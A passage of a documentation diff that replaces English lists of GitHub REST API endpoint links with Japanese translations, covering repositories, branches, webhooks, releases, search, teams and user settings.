+* [Teamディスカッションへのリアクションの作成](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
+* [コミットコメントへのリアクションの削除](/rest/reference/reactions#delete-a-commit-comment-reaction)
+* [Issueへのリアクションの削除](/rest/reference/reactions#delete-an-issue-reaction)
+* [コミットコメントへのリアクションの削除](/rest/reference/reactions#delete-an-issue-comment-reaction)
+* [Pull Requestのコメントへのリアクションの削除](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
+* [Teamディスカッションへのリアクションの削除](/rest/reference/reactions#delete-team-discussion-reaction)
+* [Team ディスカッションのコメントへのリアクションの削除](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
 
-#### Repositories
+#### リポジトリ
 
-* [List organization repositories](/rest/reference/repos#list-organization-repositories)
-* [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
-* [Get a repository](/rest/reference/repos#get-a-repository)
-* [Update a repository](/rest/reference/repos#update-a-repository)
-* [Delete a repository](/rest/reference/repos#delete-a-repository)
-* [Compare two commits](/rest/reference/commits#compare-two-commits)
-* [List repository contributors](/rest/reference/repos#list-repository-contributors)
-* [List forks](/rest/reference/repos#list-forks)
-* [Create a fork](/rest/reference/repos#create-a-fork)
-* [List repository languages](/rest/reference/repos#list-repository-languages)
-* [List repository tags](/rest/reference/repos#list-repository-tags)
-* [List repository teams](/rest/reference/repos#list-repository-teams)
-* [Transfer a repository](/rest/reference/repos#transfer-a-repository)
-* [List public repositories](/rest/reference/repos#list-public-repositories)
-* [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user)
-* [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user)
-* [Create repository using a repository template](/rest/reference/repos#create-repository-using-a-repository-template)
+* [Organization リポジトリの一覧表示](/rest/reference/repos#list-organization-repositories)
+* [認証されたユーザにリポジトリを作成](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
+* [リポジトリの取得](/rest/reference/repos#get-a-repository)
+* [リポジトリの更新](/rest/reference/repos#update-a-repository)
+* [リポジトリの削除](/rest/reference/repos#delete-a-repository)
+* [2つのコミットの比較](/rest/reference/commits#compare-two-commits)
+* [リポジトリのコントリビューターの一覧表示](/rest/reference/repos#list-repository-contributors)
+* [フォークの一覧表示](/rest/reference/repos#list-forks)
+* [フォークの作成](/rest/reference/repos#create-a-fork)
+* [リポジトリの言語の一覧表示](/rest/reference/repos#list-repository-languages)
+* [リポジトリのタグの一覧表示](/rest/reference/repos#list-repository-tags)
+* [リポジトリのTeamの一覧表示](/rest/reference/repos#list-repository-teams)
+* [リポジトリの移譲](/rest/reference/repos#transfer-a-repository)
+* [パブリックリポジトリの一覧表示](/rest/reference/repos#list-public-repositories)
+* [認証されたユーザのリポジトリの一覧表示](/rest/reference/repos#list-repositories-for-the-authenticated-user)
+* [ユーザのリポジトリの一覧表示](/rest/reference/repos#list-repositories-for-a-user)
+* [リポジトリのテンプレートを使ったリポジトリの作成](/rest/reference/repos#create-repository-using-a-repository-template)
 
-#### Repository Activity
+#### リポジトリのアクティビティ
 
-* [List stargazers](/rest/reference/activity#list-stargazers)
-* [List watchers](/rest/reference/activity#list-watchers)
-* [List repositories starred by a user](/rest/reference/activity#list-repositories-starred-by-a-user)
-* [Check if a repository is starred by the authenticated user](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
-* [Star a repository for the authenticated user](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
-* [Unstar a repository for the authenticated user](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
-* [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user)
+* [Starを付けたユーザの一覧表示](/rest/reference/activity#list-stargazers)
+* [Watchしているユーザの一覧表示](/rest/reference/activity#list-watchers)
+* [ユーザがStarしたリポジトリの一覧表示](/rest/reference/activity#list-repositories-starred-by-a-user)
+* [認証されたユーザによってリポジトリがStarされているかをチェック](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
+* [認証されたユーザのためにリポジトリをStar](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
+* [認証されたユーザのためにリポジトリをStar解除](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
+* [ユーザが Watch しているリポジトリの一覧表示](/rest/reference/activity#list-repositories-watched-by-a-user)
 
 {% ifversion fpt or ghec %}
-#### Repository Automated Security Fixes
+#### リポジトリの自動化されたセキュリティ修正
 
-* [Enable automated security fixes](/rest/reference/repos#enable-automated-security-fixes)
-* [Disable automated security fixes](/rest/reference/repos#disable-automated-security-fixes)
+* [自動化されたセキュリティ修正の有効化](/rest/reference/repos#enable-automated-security-fixes)
+* [自動化されたセキュリティ修正の無効化](/rest/reference/repos#disable-automated-security-fixes)
 {% endif %}
 
-#### Repository Branches
+#### リポジトリのブランチ
 
-* [List branches](/rest/reference/branches#list-branches)
-* [Get a branch](/rest/reference/branches#get-a-branch)
-* [Get branch protection](/rest/reference/branches#get-branch-protection)
-* [Update branch protection](/rest/reference/branches#update-branch-protection)
-* [Delete branch protection](/rest/reference/branches#delete-branch-protection)
-* [Get admin branch protection](/rest/reference/branches#get-admin-branch-protection)
-* [Set admin branch protection](/rest/reference/branches#set-admin-branch-protection)
-* [Delete admin branch protection](/rest/reference/branches#delete-admin-branch-protection)
-* [Get pull request review protection](/rest/reference/branches#get-pull-request-review-protection)
-* [Update pull request review protection](/rest/reference/branches#update-pull-request-review-protection)
-* [Delete pull request review protection](/rest/reference/branches#delete-pull-request-review-protection)
-* [Get commit signature protection](/rest/reference/branches#get-commit-signature-protection)
-* [Create commit signature protection](/rest/reference/branches#create-commit-signature-protection)
-* [Delete commit signature protection](/rest/reference/branches#delete-commit-signature-protection)
-* [Get status checks protection](/rest/reference/branches#get-status-checks-protection)
-* [Update status check protection](/rest/reference/branches#update-status-check-protection)
-* [Remove status check protection](/rest/reference/branches#remove-status-check-protection)
-* [Get all status check contexts](/rest/reference/branches#get-all-status-check-contexts)
-* [Add status check contexts](/rest/reference/branches#add-status-check-contexts)
-* [Set status check contexts](/rest/reference/branches#set-status-check-contexts)
-* [Remove status check contexts](/rest/reference/branches#remove-status-check-contexts)
-* [Get access restrictions](/rest/reference/branches#get-access-restrictions)
-* [Delete access restrictions](/rest/reference/branches#delete-access-restrictions)
-* [List teams with access to the protected branch](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
-* [Add team access restrictions](/rest/reference/branches#add-team-access-restrictions)
-* [Set team access restrictions](/rest/reference/branches#set-team-access-restrictions)
-* [Remove team access restriction](/rest/reference/branches#remove-team-access-restrictions)
-* [List user restrictions of protected branch](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
-* [Add user access restrictions](/rest/reference/branches#add-user-access-restrictions)
-* [Set user access restrictions](/rest/reference/branches#set-user-access-restrictions)
-* [Remove user access restrictions](/rest/reference/branches#remove-user-access-restrictions)
-* [Merge a branch](/rest/reference/branches#merge-a-branch)
+* [ブランチの一覧表示](/rest/reference/branches#list-branches)
+* [ブランチの取得](/rest/reference/branches#get-a-branch)
+* [ブランチの保護の取得](/rest/reference/branches#get-branch-protection)
+* [ブランチの保護の更新](/rest/reference/branches#update-branch-protection)
+* [ブランチの保護の削除](/rest/reference/branches#delete-branch-protection)
+* [管理ブランチの保護の取得](/rest/reference/branches#get-admin-branch-protection)
+* [管理ブランチの保護の設定](/rest/reference/branches#set-admin-branch-protection)
+* [管理ブランチの保護の削除](/rest/reference/branches#delete-admin-branch-protection)
+* [Pull Requestのレビュー保護の取得](/rest/reference/branches#get-pull-request-review-protection)
+* [Pull Requestのレビュー保護の更新](/rest/reference/branches#update-pull-request-review-protection)
+* [Pull Requestのレビュー保護の削除](/rest/reference/branches#delete-pull-request-review-protection)
+* [コミット署名の保護の取得](/rest/reference/branches#get-commit-signature-protection)
+* [コミット署名の保護の作成](/rest/reference/branches#create-commit-signature-protection)
+* [コミット署名の保護の削除](/rest/reference/branches#delete-commit-signature-protection)
+* [ステータスチェックの保護の取得](/rest/reference/branches#get-status-checks-protection)
+* [ステータスチェックの保護の更新](/rest/reference/branches#update-status-check-protection)
+* [ステータスチェックの保護の削除](/rest/reference/branches#remove-status-check-protection)
+* [すべてのステータスチェックのコンテキストの取得](/rest/reference/branches#get-all-status-check-contexts)
+* [ステータスチェックのコンテキストの追加](/rest/reference/branches#add-status-check-contexts)
+* [ステータスチェックのコンテキストの設定](/rest/reference/branches#set-status-check-contexts)
+* [ステータスチェックのコンテキストの削除](/rest/reference/branches#remove-status-check-contexts)
+* [アクセス制限の取得](/rest/reference/branches#get-access-restrictions)
+* [アクセス制限の削除](/rest/reference/branches#delete-access-restrictions)
+* [保護されたブランチへのアクセスを持つTeamの一覧表示](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
+* [Teamのアクセス制限の追加](/rest/reference/branches#add-team-access-restrictions)
+* [Teamのアクセス制限の設定](/rest/reference/branches#set-team-access-restrictions)
+* [Teamのアクセス制限の削除](/rest/reference/branches#remove-team-access-restrictions)
+* [保護されたブランチのユーザ制限の一覧表示](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
+* [ユーザアクセス制限の追加](/rest/reference/branches#add-user-access-restrictions)
+* [ユーザアクセス制限の設定](/rest/reference/branches#set-user-access-restrictions)
+* [ユーザアクセス制限の削除](/rest/reference/branches#remove-user-access-restrictions)
+* [ブランチのマージ](/rest/reference/branches#merge-a-branch)
 
-#### Repository Collaborators
+#### リポジトリのコラボレータ
 
-* [List repository collaborators](/rest/reference/collaborators#list-repository-collaborators)
-* [Check if a user is a repository collaborator](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
-* [Add a repository collaborator](/rest/reference/collaborators#add-a-repository-collaborator)
-* [Remove a repository collaborator](/rest/reference/collaborators#remove-a-repository-collaborator)
-* [Get repository permissions for a user](/rest/reference/collaborators#get-repository-permissions-for-a-user)
+* [リポジトリのコラボレータの一覧表示](/rest/reference/collaborators#list-repository-collaborators)
+* [ユーザがリポジトリのコラボレータかをチェック](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
+* [リポジトリのコラボレータを追加](/rest/reference/collaborators#add-a-repository-collaborator)
+* [リポジトリのコラボレータを削除](/rest/reference/collaborators#remove-a-repository-collaborator)
+* [ユーザのリポジトリの権限を取得](/rest/reference/collaborators#get-repository-permissions-for-a-user)
 
-#### Repository Commit Comments
+#### リポジトリのコミットコメント
 
-* [List commit comments for a repository](/rest/reference/commits#list-commit-comments-for-a-repository)
-* [Get a commit comment](/rest/reference/commits#get-a-commit-comment)
-* [Update a commit comment](/rest/reference/commits#update-a-commit-comment)
-* [Delete a commit comment](/rest/reference/commits#delete-a-commit-comment)
-* [List commit comments](/rest/reference/commits#list-commit-comments)
-* [Create a commit comment](/rest/reference/commits#create-a-commit-comment)
+* [リポジトリのコミットコメントの一覧表示](/rest/reference/commits#list-commit-comments-for-a-repository)
+* [コミットコメントの取得](/rest/reference/commits#get-a-commit-comment)
+* [コミットコメントの更新](/rest/reference/commits#update-a-commit-comment)
+* [コミットコメントの削除](/rest/reference/commits#delete-a-commit-comment)
+* [コミットコメントの一覧表示](/rest/reference/commits#list-commit-comments)
+* [コミットコメントの作成](/rest/reference/commits#create-a-commit-comment)
 
-#### Repository Commits
+#### リポジトリのコミット
 
-* [List commits](/rest/reference/commits#list-commits)
-* [Get a commit](/rest/reference/commits#get-a-commit)
-* [List branches for head commit](/rest/reference/commits#list-branches-for-head-commit)
-* [List pull requests associated with commit](/rest/reference/repos#list-pull-requests-associated-with-commit)
+* [コミットの一覧表示](/rest/reference/commits#list-commits)
+* [コミットの取得](/rest/reference/commits#get-a-commit)
+* [headコミットのブランチの一覧表示](/rest/reference/commits#list-branches-for-head-commit)
+* [コミットの関連づけられたPull Requestの一覧表示](/rest/reference/repos#list-pull-requests-associated-with-commit)
 
-#### Repository Community
+#### リポジトリのコミュニティ
 
-* [Get the code of conduct for a repository](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
+* [リポジトリの行動規範の取得](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
 {% ifversion fpt or ghec %}
-* [Get community profile metrics](/rest/reference/repository-metrics#get-community-profile-metrics)
+* [コミュニティプロフィールのメトリクスの取得](/rest/reference/repository-metrics#get-community-profile-metrics)
 {% endif %}
 
-#### Repository Contents
+#### リポジトリのコンテンツ
 
-* [Download a repository archive](/rest/reference/repos#download-a-repository-archive)
-* [Get repository content](/rest/reference/repos#get-repository-content)
-* [Create or update file contents](/rest/reference/repos#create-or-update-file-contents)
-* [Delete a file](/rest/reference/repos#delete-a-file)
-* [Get a repository README](/rest/reference/repos#get-a-repository-readme)
-* [Get the license for a repository](/rest/reference/licenses#get-the-license-for-a-repository)
+* [リポジトリのアーカイブのダウンロード](/rest/reference/repos#download-a-repository-archive)
+* [リポジトリのコンテンツの取得](/rest/reference/repos#get-repository-content)
+* [ファイルコンテンツの作成もしくは更新](/rest/reference/repos#create-or-update-file-contents)
+* [ファイルの削除](/rest/reference/repos#delete-a-file)
+* [リポジトリのREADMEの取得](/rest/reference/repos#get-a-repository-readme)
+* [リポジトリのライセンスの取得](/rest/reference/licenses#get-the-license-for-a-repository)
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Repository Event Dispatches
+#### リポジトリのイベントのディスパッチ
 
-* [Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)
+* [リポジトリディスパッチイベントの作成](/rest/reference/repos#create-a-repository-dispatch-event)
 {% endif %}
 
-#### Repository Hooks
+#### リポジトリのフック
 
-* [List repository webhooks](/rest/reference/webhooks#list-repository-webhooks)
-* [Create a repository webhook](/rest/reference/webhooks#create-a-repository-webhook)
-* [Get a repository webhook](/rest/reference/webhooks#get-a-repository-webhook)
-* [Update a repository webhook](/rest/reference/webhooks#update-a-repository-webhook)
-* [Delete a repository webhook](/rest/reference/webhooks#delete-a-repository-webhook)
-* [Ping a repository webhook](/rest/reference/webhooks#ping-a-repository-webhook)
-* [Test the push repository webhook](/rest/reference/repos#test-the-push-repository-webhook)
+* [リポジトリのwebhookの一覧表示](/rest/reference/webhooks#list-repository-webhooks)
+* [リポジトリのwebhookの作成](/rest/reference/webhooks#create-a-repository-webhook)
+* [リポジトリのwebhookの取得](/rest/reference/webhooks#get-a-repository-webhook)
+* [リポジトリのwebhookの更新](/rest/reference/webhooks#update-a-repository-webhook)
+* [リポジトリのwebhookの削除](/rest/reference/webhooks#delete-a-repository-webhook)
+* [リポジトリのwebhookのping](/rest/reference/webhooks#ping-a-repository-webhook)
+* [プッシュリポジトリのwebhookのテスト](/rest/reference/repos#test-the-push-repository-webhook)
 
-#### Repository Invitations
+#### リポジトリの招待
 
-* [List repository invitations](/rest/reference/collaborators#list-repository-invitations)
-* [Update a repository invitation](/rest/reference/collaborators#update-a-repository-invitation)
-* [Delete a repository invitation](/rest/reference/collaborators#delete-a-repository-invitation)
-* [List repository invitations for the authenticated user](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
-* [Accept a repository invitation](/rest/reference/collaborators#accept-a-repository-invitation)
-* [Decline a repository invitation](/rest/reference/collaborators#decline-a-repository-invitation)
+* [リポジトリの招待の一覧表示](/rest/reference/collaborators#list-repository-invitations)
+* [リポジトリの招待の更新](/rest/reference/collaborators#update-a-repository-invitation)
+* [リポジトリの招待の削除](/rest/reference/collaborators#delete-a-repository-invitation)
+* [認証を受けたユーザのリポジトリの招待の一覧表示](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
+* [リポジトリの招待の受諾](/rest/reference/collaborators#accept-a-repository-invitation)
+* [リポジトリの招待の拒否](/rest/reference/collaborators#decline-a-repository-invitation)
 
-#### Repository Keys
+#### リポジトリのキー
 
-* [List deploy keys](/rest/reference/deployments#list-deploy-keys)
-* [Create a deploy key](/rest/reference/deployments#create-a-deploy-key)
-* [Get a deploy key](/rest/reference/deployments#get-a-deploy-key)
-* [Delete a deploy key](/rest/reference/deployments#delete-a-deploy-key)
+* [デプロイキーの一覧表示](/rest/reference/deployments#list-deploy-keys)
+* [デプロイキーの作成](/rest/reference/deployments#create-a-deploy-key)
+* [デプロイキーの取得](/rest/reference/deployments#get-a-deploy-key)
+* [デプロイキーの削除](/rest/reference/deployments#delete-a-deploy-key)
 
-#### Repository Pages
+#### リポジトリのPages
 
-* [Get a GitHub Pages site](/rest/reference/pages#get-a-github-pages-site)
-* [Create a GitHub Pages site](/rest/reference/pages#create-a-github-pages-site)
-* [Update information about a GitHub Pages site](/rest/reference/pages#update-information-about-a-github-pages-site)
-* [Delete a GitHub Pages site](/rest/reference/pages#delete-a-github-pages-site)
-* [List GitHub Pages builds](/rest/reference/pages#list-github-pages-builds)
-* [Request a GitHub Pages build](/rest/reference/pages#request-a-github-pages-build)
-* [Get GitHub Pages build](/rest/reference/pages#get-github-pages-build)
-* [Get latest pages build](/rest/reference/pages#get-latest-pages-build)
+* [GitHub Pagesのサイトの取得](/rest/reference/pages#get-a-github-pages-site)
+* [GitHub Pagesのサイトの作成](/rest/reference/pages#create-a-github-pages-site)
+* [GitHub Pagesのサイトに関する情報の更新](/rest/reference/pages#update-information-about-a-github-pages-site)
+* [GitHub Pagesのサイトの削除](/rest/reference/pages#delete-a-github-pages-site)
+* [GitHub Pagesのビルドの一覧表示](/rest/reference/pages#list-github-pages-builds)
+* [GitHub Pagesのビルドのリクエスト](/rest/reference/pages#request-a-github-pages-build)
+* [GitHub Pagesのビルドの取得](/rest/reference/pages#get-github-pages-build)
+* [最新のPagesのビルドの取得](/rest/reference/pages#get-latest-pages-build)
 
 {% ifversion ghes %}
-#### Repository Pre Receive Hooks
+#### リポジトリ pre-receive フック
 
-* [List pre-receive hooks for a repository](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
-* [Get a pre-receive hook for a repository](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
-* [Update pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
-* [Remove pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
+* [リポジトリのpre-receiveフックの一覧表示](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
+* [リポジトリのpre-receiveフックの取得](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
+* [リポジトリのpre-receiveフックの強制の更新](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
+* [リポジトリのpre-receiveフックの強制の削除](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
 {% endif %}
 
-#### Repository Releases
+#### リポジトリのリリース
 
-* [List releases](/rest/reference/repos/#list-releases)
-* [Create a release](/rest/reference/repos/#create-a-release)
-* [Get a release](/rest/reference/repos/#get-a-release)
-* [Update a release](/rest/reference/repos/#update-a-release)
-* [Delete a release](/rest/reference/repos/#delete-a-release)
-* [List release assets](/rest/reference/repos/#list-release-assets)
-* [Get a release asset](/rest/reference/repos/#get-a-release-asset)
-* [Update a release asset](/rest/reference/repos/#update-a-release-asset)
-* [Delete a release asset](/rest/reference/repos/#delete-a-release-asset)
-* [Get the latest release](/rest/reference/repos/#get-the-latest-release)
-* [Get a release by tag name](/rest/reference/repos/#get-a-release-by-tag-name)
+* [リリースの一覧表示](/rest/reference/repos/#list-releases)
+* [リリースの作成](/rest/reference/repos/#create-a-release)
+* [リリースの取得](/rest/reference/repos/#get-a-release)
+* [リリースの更新](/rest/reference/repos/#update-a-release)
+* [リリースの削除](/rest/reference/repos/#delete-a-release)
+* [リリースアセットの一覧表示](/rest/reference/repos/#list-release-assets)
+* [リリースアセットの取得](/rest/reference/repos/#get-a-release-asset)
+* [リリースアセットの更新](/rest/reference/repos/#update-a-release-asset)
+* [リリースアセットの削除](/rest/reference/repos/#delete-a-release-asset)
+* [最新リリースの取得](/rest/reference/repos/#get-the-latest-release)
+* [タグ名によるリリースの取得](/rest/reference/repos/#get-a-release-by-tag-name)
 
-#### Repository Stats
+#### リポジトリ統計
 
-* [Get the weekly commit activity](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
-* [Get the last year of commit activity](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
-* [Get all contributor commit activity](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
-* [Get the weekly commit count](/rest/reference/repository-metrics#get-the-weekly-commit-count)
-* [Get the hourly commit count for each day](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
+* [週間のコミットアクティビティの取得](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
+* [昨年のコミットアクティビティの取得](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
+* [すべてのコントリビューターのコミットアクティビティの取得](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
+* [週間のコミットカウントの取得](/rest/reference/repository-metrics#get-the-weekly-commit-count)
+* [各日の毎時のコミットカウントの取得](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
 
 {% ifversion fpt or ghec %}
-#### Repository Vulnerability Alerts
+#### リポジトリ脆弱性アラート
 
-* [Enable vulnerability alerts](/rest/reference/repos#enable-vulnerability-alerts)
-* [Disable vulnerability alerts](/rest/reference/repos#disable-vulnerability-alerts)
+* [脆弱性アラートの有効化](/rest/reference/repos#enable-vulnerability-alerts)
+* [脆弱性アラートの無効化](/rest/reference/repos#disable-vulnerability-alerts)
 {% endif %}
 
-#### Root
+#### ルート
 
-* [Root endpoint](/rest#root-endpoint)
-* [Emojis](/rest/reference/emojis#emojis)
-* [Get rate limit status for the authenticated user](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+* [ルートエンドポイント](/rest#root-endpoint)
+* [絵文字](/rest/reference/emojis#emojis)
+* [認証を受けたユーザのレート制限のステータスの取得](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
 
-#### Search
+#### 検索
 
-* [Search code](/rest/reference/search#search-code)
-* [Search commits](/rest/reference/search#search-commits)
-* [Search labels](/rest/reference/search#search-labels)
-* [Search repositories](/rest/reference/search#search-repositories)
-* [Search topics](/rest/reference/search#search-topics)
-* [Search users](/rest/reference/search#search-users)
+* [コードの検索](/rest/reference/search#search-code)
+* [コミットの検索](/rest/reference/search#search-commits)
+* [ラベルの検索](/rest/reference/search#search-labels)
+* [リポジトリを検索](/rest/reference/search#search-repositories)
+* [トピックの検索](/rest/reference/search#search-topics)
+* [ユーザの検索](/rest/reference/search#search-users)
 
-#### Statuses
+#### ステータス
 
-* [Get the combined status for a specific reference](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
-* [List commit statuses for a reference](/rest/reference/commits#list-commit-statuses-for-a-reference)
-* [Create a commit status](/rest/reference/commits#create-a-commit-status)
+* [特定のリファレンスの結合ステータスの取得](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
+* [リファレンスのコミットステータスの一覧表示](/rest/reference/commits#list-commit-statuses-for-a-reference)
+* [コミットステータスの作成](/rest/reference/commits#create-a-commit-status)
 
-#### Team Discussions
+#### Teamディスカッション
 
-* [List discussions](/rest/reference/teams#list-discussions)
-* [Create a discussion](/rest/reference/teams#create-a-discussion)
-* [Get a discussion](/rest/reference/teams#get-a-discussion)
-* [Update a discussion](/rest/reference/teams#update-a-discussion)
-* [Delete a discussion](/rest/reference/teams#delete-a-discussion)
-* [List discussion comments](/rest/reference/teams#list-discussion-comments)
-* [Create a discussion comment](/rest/reference/teams#create-a-discussion-comment)
-* [Get a discussion comment](/rest/reference/teams#get-a-discussion-comment)
-* [Update a discussion comment](/rest/reference/teams#update-a-discussion-comment)
-* [Delete a discussion comment](/rest/reference/teams#delete-a-discussion-comment)
+* [ディスカッションの一覧表示](/rest/reference/teams#list-discussions)
+* [ディスカッションの作成](/rest/reference/teams#create-a-discussion)
+* [ディスカッションの取得](/rest/reference/teams#get-a-discussion)
+* [ディスカッションの更新](/rest/reference/teams#update-a-discussion)
+* [ディスカッションの削除](/rest/reference/teams#delete-a-discussion)
+* [ディスカッションコメントの一覧表示](/rest/reference/teams#list-discussion-comments)
+* [ディスカッションコメントの作成](/rest/reference/teams#create-a-discussion-comment)
+* [ディスカッションコメントの取得](/rest/reference/teams#get-a-discussion-comment)
+* [ディスカッションコメントの更新](/rest/reference/teams#update-a-discussion-comment)
+* [ディスカッションコメントの削除](/rest/reference/teams#delete-a-discussion-comment)
 
 #### Topics
 
-* [Get all repository topics](/rest/reference/repos#get-all-repository-topics)
-* [Replace all repository topics](/rest/reference/repos#replace-all-repository-topics)
+* [すべてのリポジトリTopicsの取得](/rest/reference/repos#get-all-repository-topics)
+* [すべてのリポジトリTopicsの置き換え](/rest/reference/repos#replace-all-repository-topics)
 
 {% ifversion fpt or ghec %}
-#### Traffic
+#### トラフィック
 
-* [Get repository clones](/rest/reference/repository-metrics#get-repository-clones)
-* [Get top referral paths](/rest/reference/repository-metrics#get-top-referral-paths)
-* [Get top referral sources](/rest/reference/repository-metrics#get-top-referral-sources)
-* [Get page views](/rest/reference/repository-metrics#get-page-views)
+* [リポジトリのクローンの取得](/rest/reference/repository-metrics#get-repository-clones)
+* [上位の参照パスの取得](/rest/reference/repository-metrics#get-top-referral-paths)
+* [上位の参照ソースの取得](/rest/reference/repository-metrics#get-top-referral-sources)
+* [ページビューの取得](/rest/reference/repository-metrics#get-page-views)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### User Blocking
+#### ユーザのブロック
 
-* [List users blocked by the authenticated user](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
-* [Check if a user is blocked by the authenticated user](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
-* [List users blocked by an organization](/rest/reference/orgs#list-users-blocked-by-an-organization)
-* [Check if a user is blocked by an organization](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
-* [Block a user from an organization](/rest/reference/orgs#block-a-user-from-an-organization)
-* [Unblock a user from an organization](/rest/reference/orgs#unblock-a-user-from-an-organization)
-* [Block a user](/rest/reference/users#block-a-user)
-* [Unblock a user](/rest/reference/users#unblock-a-user)
+* [認証されたユーザによってブロックされたユーザの一覧表示](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
+* [認証されたユーザによってユーザがブロックされているかをチェック](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
+* [Organizationによってブロックされたユーザを一覧表示](/rest/reference/orgs#list-users-blocked-by-an-organization)
+* [Organizationによってユーザがブロックされているかをチェック](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
+* [Organizationからユーザをブロック](/rest/reference/orgs#block-a-user-from-an-organization)
+* [Oraganizationからのユーザのブロックを解除](/rest/reference/orgs#unblock-a-user-from-an-organization)
+* [ユーザをブロック](/rest/reference/users#block-a-user)
+* [ゆーざのブロックを解除](/rest/reference/users#unblock-a-user)
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-#### User Emails
+#### ユーザのメール
 
 {% ifversion fpt or ghec %}
-* [Set primary email visibility for the authenticated user](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
+* [認証されたユーザのプライマリメールの可視性を設定](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
 {% endif %}
-* [List email addresses for the authenticated user](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
-* [Add email address(es)](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
-* [Delete email address(es)](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
-* [List public email addresses for the authenticated user](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
+* [認証されたユーザのメールアドレスの一覧表示](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
+* [メールアドレスの追加](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
+* [メールアドレスの削除](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
+* [認証されたユーザのパブリックなメールアドレスの一覧表示](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
 {% endif %}
 
-#### User Followers
+#### ユーザのフォロワー
 
-* [List followers of a user](/rest/reference/users#list-followers-of-a-user)
-* [List the people a user follows](/rest/reference/users#list-the-people-a-user-follows)
-* [Check if a person is followed by the authenticated user](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
-* [Follow a user](/rest/reference/users#follow-a-user)
-* [Unfollow a user](/rest/reference/users#unfollow-a-user)
-* [Check if a user follows another user](/rest/reference/users#check-if-a-user-follows-another-user)
+* [ユーザのフォロワーの一覧表示](/rest/reference/users#list-followers-of-a-user)
+* [ユーザがフォローしている人の一覧表示](/rest/reference/users#list-the-people-a-user-follows)
+* [認証されたユーザによって人がフォローされているかのチェック](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
+* [ユーザのフォロー](/rest/reference/users#follow-a-user)
+* [ユーザのフォロー解除](/rest/reference/users#unfollow-a-user)
+* [ユーザが他のユーザにフォローされているかのチェック](/rest/reference/users#check-if-a-user-follows-another-user)
 
-#### User Gpg Keys
+#### ユーザのGPGキー
 
-* [List GPG keys for the authenticated user](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
-* [Create a GPG key for the authenticated user](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
-* [Get a GPG key for the authenticated user](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
-* [Delete a GPG key for the authenticated user](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
-* [List gpg keys for a user](/rest/reference/users#list-gpg-keys-for-a-user)
